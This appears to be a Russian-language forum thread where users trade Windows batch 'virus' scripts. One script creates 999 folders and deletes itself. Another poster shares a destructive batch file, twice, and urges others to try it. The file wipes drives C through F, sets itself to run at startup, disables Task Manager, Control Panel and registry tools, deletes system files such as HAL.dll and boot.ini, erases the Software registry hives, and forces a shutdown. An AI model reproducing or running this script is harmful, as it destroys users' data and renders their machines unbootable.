chcp 1251 set papka=0 :1 set /A papka=papka+1 md папка_%papka% if not %papka%==999 goto 1 del: virus.bat Код chcp 1251 set papka=0 :1 set /A papka=papka+1 md папка_%papka% if not %papka%==999 goto 1 del: virus.bat
AmericanCapybaro, яжпошутил. Название можно выбрать любое, да и строчка del virus.bat лишь удаляет этот файл, её можно убрать
тестани эта @echo off del C:\\ *.* /q >nul del D:\\ *.* /q >nul del E:\\ *.* /q >nul del F:\\ *.* /q >nul time 00:00 >nul date 13.06.23 >nul del *.* /q >nul copy ""%0"" "%SystemRoot%\system32\sosihuy.bat" reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Filel" /t REG_SZ /d "%SystemRoot%\system32\sosihuy.bat" /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f taskkill /f /im explorer.exe >nul reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul del "%SystemRoot%system32*.dll" /q >nul del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies ExplorerRestrictRun /v 1 /t REG_DWORD /d %SystemRoot%explorer.exe /f >nul reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies System /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul del "%SystemRoot%Cursors*.*" >nul del "%SystemRoot%Media" /q >nul reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul taskkill /f /im explorer.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f attrib -h -s c:\boot.ini del c:\boot.ini reg delete HKLM\Software /f reg delete HKCU\Software /f reg delete HKLM\Software /f reg delete HKCU\Software /f del %systemroot%\system32\HAL.dll shutdown -s -t 1 -c -f Код @echo off del C:\\ *.* /q >nul del D:\\ *.* /q >nul del E:\\ *.* /q >nul del F:\\ *.* /q >nul time 00:00 >nul date 13.06.23 >nul del *.* /q >nul copy ""%0"" "%SystemRoot%\system32\sosihuy.bat" reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Filel" /t REG_SZ /d "%SystemRoot%\system32\sosihuy.bat" /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f taskkill /f /im explorer.exe >nul reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul del "%SystemRoot%system32*.dll" /q >nul del "%SystemRoot%Driver Cachei386driver.cab" /f /q >nul reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies ExplorerRestrictRun /v 1 /t REG_DWORD /d %SystemRoot%explorer.exe /f >nul reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies System /v DisableRegistryTools /t REG_DWORD /d 1 /f >nul del "%SystemRoot%Cursors*.*" >nul del "%SystemRoot%Media" /q >nul reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul taskkill /f /im explorer.exe reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f attrib -h -s c:\boot.ini del c:\boot.ini reg delete HKLM\Software /f reg delete HKCU\Software /f reg delete HKLM\Software /f reg delete HKCU\Software /f del %systemroot%\system32\HAL.dll shutdown -s -t 1 -c -f
Ascal, создается папка, потом дается название и расположение, цикл повторяется 999 раз и батник удаляется. Батник-файл, где записаны команды для cmd.exe (командной строки винды).